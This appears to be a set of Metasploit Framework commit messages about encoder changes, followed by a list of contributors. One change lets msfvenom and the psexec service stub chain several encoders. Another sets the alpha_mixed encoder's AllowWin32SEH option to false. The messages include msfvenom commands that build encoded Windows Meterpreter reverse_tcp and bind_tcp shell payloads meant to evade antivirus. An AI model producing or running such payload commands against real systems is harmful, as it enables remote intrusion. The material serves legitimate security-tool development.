Add psexec option SERCVICE_STUB_ENCODER to allow a list of encoder to
encode the x86/service stub.
Add multiple_encode_payload function in payload_generator.rb to accept a
list of encoder (beginning with @ to not break the classic parsing of
encoder).
With this it would be possible to pass multiple encoder to msfvenom in
one execution.
./msfvenom -p windows/meterpreter/reverse_tcp LPORT=80
LHOST=192.168.100.11 -e
@x86/shikata_ga_nai,x86/misc_anti_emu:5,x86/shikata_ga_nai -x
template.exe -f exe-only -o meterpreter.exe
This is patch to change AllowWin32SEH to false.
Root cause:
The truely intended behavior is that if the user doesn't set a
BufferRegister and the encoder is for Windows, the AllowWin32SEH
code should kick in.
The problem here is that msfencode and msfvenom handle the platform
information differently, so we get different results.
With msfencode, the platform information isn't passed when alpha_mixed
is used, so even if you're using the encoder for Win32, the encoder
doesn't actually know about this. But everything works out just fine
anyway because people don't actually rely on AllowWin32SEH.
With msfvenom, the platform information is passed, so the encoder
actually knows it's for Windows. The two conditions are met (regster
and platform), so AllowWin32SEH kicks in. However, the AllowWin32SEH
technique enforces the BufferRegister to ECX, and that there's no
GetPC, so by default this isn't going to work.
The solution:
We are actually better off with setting AllowWin32SEH to false, mainly
because the SEH technique is pretty much dead (congrats MSFT!). And we
want the GetPC routine by default.
If people want to use AllowWin32SEH routine, they can simply set
AllowWin32SEH to true to bring it right back. For example:
e = framework.encoders.create('x86/alpha_mixed')
e.datastore.import_options_from_hash({'AllowWin32SEH'=>true})
buf = e.encode("AAAA", nil, nil, ::Msf::Module::PlatformList.win32)
Or in msfvenom:
msfvenom -p windows/meterpreter/bind_tcp -e x86/alpha_mixed
AllowWin32SEH=true -f raw
Fix#4717
See the complaint on #4039. This doesn't fix that particular
issue (it's somewhat unrelated), but does solve around
a file parsing problem reported by @void-in
Francesco Soncina
bwatters-r7
stefano118
phra
stefano118
Brent Cook
g0tmi1k
William Vu
Christian Mehlmauer
agix
James Lee
Spencer McIntyre
HD Moore
jvazquez-r7
sinn3r
Tod Beardsley
URI Assassin
OJ